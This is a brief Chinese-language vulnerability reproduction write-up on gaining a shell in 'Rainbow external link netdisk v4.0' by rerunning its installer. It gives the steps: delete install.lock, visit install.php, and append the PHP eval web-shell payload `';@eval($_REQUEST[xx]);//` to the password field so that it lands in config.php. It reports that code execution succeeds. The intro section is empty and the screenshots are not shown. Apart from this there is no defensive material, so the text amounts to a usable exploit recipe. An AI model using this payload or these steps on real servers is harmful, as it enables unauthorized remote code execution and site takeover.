彩虹外链网盘 v4.0 重装getshell.md

827 B / 2021-04-21 09:23:46
    彩虹外链网盘 v4.0 重装getshell
==============================

一、漏洞简介
------------

二、漏洞影响
------------

彩虹外链网盘 v4.0

三、复现过程
------------

在删除install.lock后,访问install.php
其他的原来的读取的配置,密码后面加上`';@eval($_REQUEST[xx]);//`

![13.png](./resource/彩虹外链网盘v4.0重装getshell/media/rId24.png){width="5.833333333333333in"
height="4.9203926071741035in"}

此时的config.php如下,而且由于我们用的是原来的配置,网站不会崩

![14.png](./resource/彩虹外链网盘v4.0重装getshell/media/rId25.png){width="5.833333333333333in"
height="4.231375765529309in"}

代码执行成功

![15.png](./resource/彩虹外链网盘v4.0重装getshell/media/rId26.png){width="5.833333333333333in"
height="1.143261154855643in"}